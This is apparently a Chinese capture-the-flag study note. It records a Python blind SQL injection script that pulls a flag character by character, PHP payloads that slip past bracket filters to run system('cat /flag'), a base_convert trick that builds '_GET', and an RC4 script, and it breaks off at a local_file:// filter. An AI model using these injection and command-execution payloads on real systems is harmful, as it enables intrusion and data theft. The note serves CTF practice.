[靶场笔记]第十三章
if判断 写国赛题的时候碰到的盲注方法(因为平时很少写盲注题所以记录一下,应该是一种很基本的盲注方法🤔️) if(判断语句,真结果,假结果) 下面是一个示例exp import requests s=requests.session() flag = '' for i in range(1,50): for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}': url="..." sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j) data={"id":sqls} c = s.post(url,data=data,timeout=10) if 'Hello' in c.text: flag += j print(flag) break base_convert() 这个函数可以在任意进制之间进行切换,例如 base_convert(37907361743,10,36) 就是把十进制转换为36进制,结果是_GET {1}&1=system 先来回顾一下这种用法 $a='system'; $a('cat/flag'); 此时很容易想到一种绕过方法 ?c=($_GET[a])($_GET[b])&a=system&b=cat /flag 但有时候题目狗到连[]都要给你过滤,此时就可以用标题的方法了 ?c=($_GET{a})($_GET{b})&a=system&b=cat /flag RC4加密 这里记录一个RC4加密脚本 from urllib import parse def s_init(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒 S[i], S[j] = S[j], S[i] return S def rc4_encode(plain_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in plain_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_decode(cipher_text, key): S = s_init(key) temp_data = [] i, j = 0, 0 for s in cipher_text: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] temp_data.append(chr(ord(s) ^ k)) return ''.join(temp_data) def rc4_encode_url(plain_text, key): return parse.quote(rc4_encode(plain_text, key)) if __name__ == '__main__': # keys = str(input("Enter the key: ")) keys = 'HereIsTreasure' plain = input("Enter the plain text: ") print("The encoded text is: " + rc4_encode_url(plain, keys)) local_file:// 碰到了一个这样的过滤 ...